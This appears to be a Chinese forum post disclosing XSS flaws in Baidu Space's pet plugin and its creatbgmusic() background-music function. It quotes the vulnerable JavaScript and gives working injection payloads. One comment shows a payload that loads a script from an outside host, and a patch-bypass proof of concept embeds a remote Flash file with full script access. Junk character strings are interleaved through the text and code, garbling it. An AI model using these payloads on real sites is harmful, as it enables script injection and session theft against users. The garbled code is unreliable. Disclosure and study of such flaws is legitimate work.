百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
~4 ]" Y, ~. Z7 c+ w* U- K0 y5 u9 k0 r8 r4 G, K. e
1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存.
# P- n( j5 Y* p! N3 k; e, R2.在http://hi.baidu.com/ui/scripts/pet/pet.js中
* `+ d q2 K. ?' J( a/ O0 |% E. U$ o9 J M: ^; p# b" a
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
( N) R( Q* _( }# Y* r- _' L6 f* O6 z, i其中BdUtil.insertWBR为
; ?* s$ z% H3 A f* v3 e8 [function(text, step) {
/ b' \0 i* u6 w/ s var textarea = textAreaCache || getContainer(); / a7 @. Z! ]' e. j9 |
if (!textarea) {
# j- t, _8 J: W5 B& h/ m return text;
$ j1 K, E( i+ G+ g2 O% R" L2 D } / P2 ]9 v6 n8 [" I
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); & {8 q3 \4 M$ W, J2 j4 X0 t
var string = textarea.value; " S( v& ~4 \ Y2 G9 n' b6 U
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi"); 1 \! s, Q: z0 S4 i
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
8 z& I- b3 H+ G v6 P5 d# F return result;
( g' U& n; d/ N ]' U4 W) z} 4 y; f/ a) ]& ]
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
# {5 k5 N6 k6 w6 A: Z测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
2 |- z3 p9 p. y( D s
* ~3 a/ P' ?0 W3 a: @/ U) [二:creatbgmusic() Dom-Xss Bug ! N+ o7 A# u U3 D
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 + F* l2 L1 N1 A5 K
3 @& j1 @/ n4 _4 j( ]
在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码:
* O0 S; `# D& w1 d [9 ~
) O. c1 _2 A# I P" Qfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
: H# a9 ]/ _7 Y% M' x //传入的murl赋值到bgmusic1和bgmusic2中 Y8 r$ n. S( { c. E
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1 6 i1 }# m! W/ {: V' w4 U
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">"; & t; u- G; t9 s! s
if (musicnum <= 1) { / B. A$ |7 n5 U: ~/ g2 _" I- P& }. E
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">"; ! r* \9 \: {! v' h
}
* M0 H5 d! v6 Y1 h- ~+ }( Q% N bgmusic1 += "</OBJECT>";
4 Q) `" v) W7 I2 r8 v+ y var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; - A+ D0 \' M X8 X
if (musicnum <= 1) { ' _* W" z! G/ H. p# z! W8 a7 u
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; 3 ]* T5 x8 U d- g7 P0 n6 M) v
} : i6 G0 x o" r
bgmusic2 += "> </EMBED>";
+ r! {8 {8 p9 q! r# R! X; G var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
/ U- ~* K" T, K1 O! W& J var bgmus = detectWMP(); 9 \& y6 T/ \) t) p1 M3 C, C: K$ A4 F
if (functype == "FckMusicHelper") { ) _( ? O' H- Q; Q. H: F4 @& A' v
if (bgmus.installed) { 2 {* z! _. w6 x. |
if (bgmus.type == "IE") {
! P6 T3 w |$ H6 l; S return bgmusic1; 9 j H# y% K/ {- T( @' A/ n1 d% k1 D
} else if (bgmus.type == "NS") {
. \; u: ^* ?2 W$ Z return bgmusic2;
2 k2 k, ^3 p0 \& S) k }
8 L) A: K2 F/ H } else { 2 U3 x8 j5 T5 S
return bgmusic3;
6 v- H( \: g( z; c/ a! p; | }
$ H' i" e0 D6 L; v3 C, q* x9 R } else {
9 b" i' f( n& u if (bgmus.installed) { : R8 {- E/ s g/ D7 t
//document.write 直接输出bgmusic变量 导致xss
: U* M$ ~: C- s) x# S' r if (bgmus.type == "IE") { $ d, {8 Y- k% t% P2 N5 C4 p3 b
document.write(bgmusic1);
. j4 [/ w, V4 k& g- [$ D7 T" ^ } else if (bgmus.type == "NS") {
) \9 O" ` @1 G document.write(bgmusic2);
) Y9 ~8 _+ m; t4 C }
% M9 `$ s" `9 y. i( z7 |; T7 s: u+ n } else { " L/ C2 D: [. a8 w7 u8 K* S
document.write(bgmusic3);
Z; C# |3 f: C" w$ O } 2 W* U5 ]" r* x n' z6 _0 y9 r
return "";
; j1 R; U9 Y9 k: m4 K: ]( g) Q* B }
8 a/ @1 h% F& Q$ E} |% h+ P! n3 y9 |) B( r
' T0 W0 w5 y* h* q' ?在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: 8 ^' E) @* m: w! N, ]
: f$ h* H+ A1 t+ ^ P% Cfunction initBlogTextForFCK(){ - N2 |# {6 Y2 N/ A6 |
//fck init music
! r0 F+ x$ P/ D0 Aif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
, @! B6 x" F5 y$ cvar imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
8 b2 ^4 m9 e! J+ q! avar isAutoPlay=true;
3 h8 W. K( l5 I+ P/ \3 afor(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. W" z4 z* b2 i, A. V: G
var img=imgBox; 4 x$ d0 l) `/ ]' A
if(img.getAttribute(’rel’)){ " O/ x$ Q H$ k+ Z
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc : U, ?* A+ q- Q7 K$ j9 v% r2 H
var musicDiv = document.createElement("SPAN");
* l0 U, O* U; B& B @. N var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp] ) ]& O0 E. u" X/ r5 f i
1 e, Q0 G7 b6 T* Z- ]+ S ..........................
& A: q8 Y: ^; [1 l7 H1 A ( G5 a3 a% _) d2 t5 d7 G
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来. $ I2 F7 T1 p5 x4 t: a( A
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); " R+ C0 l/ T# W% T; v2 N+ b
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv); % D' u+ v( _& Y: k. w
musicDiv.innerHTML=shtml;
7 }9 s/ |" K8 c' Q# K* @" w5 [& A# z i--;n--;
3 z8 a% q! U/ M" O0 S }
3 {5 G2 r( p# C, y5 K! B7 ]} ) W! Y4 G: Z; L" O
: e3 b6 B) r6 B& V, _4 p; `
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS. ! t2 o' B8 P, k9 w# R) q& Z
; W1 w7 U7 o& l0 [" e* }
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
- p D7 d% I. l# S& n
5 r [: o8 _/ `等待官方补丁
: W0 J: U, T: \) Y! {) J9 H: i
3 ?' ?( a8 B9 Q) S1 p. c" }update 2010年5月13日 $ v. T% @6 |5 a* w& d
8 y% e/ F. Q7 ], f0 o( s官方补丁: 6 g' @* K3 t$ z. O
) \( s9 J! g( q+ Z" O
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
+ T0 m2 E. w. {! r7 }% S改为: . E- M* a9 M* i2 O, N$ L8 k( J
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
9 Y& y% G5 U4 S7 n% `# c5 ]7 f. Z2 i; N* g
update 2010年5月13日 21:50:37
0 `1 d. o: g# u; l1 \# a
" b8 D+ e- i' u补丁存在漏洞 没有过滤" 可以继续跨: 5 Z0 \6 G4 `$ z3 l7 n ]) h
; m6 G1 e+ u- Q' \NEW POC:
0 R& D6 B, U$ t
3 @+ i$ e# c8 s. T! R3 d<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf"
2 }; Q* ]$ P4 h; j
, t1 X1 w/ [' `( o2 g# p8 B6 }allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>$ f$ Z( w; r$ X* @+ N- ?- ^5 s
' n% ~, }% Y' u* N' f0 H
|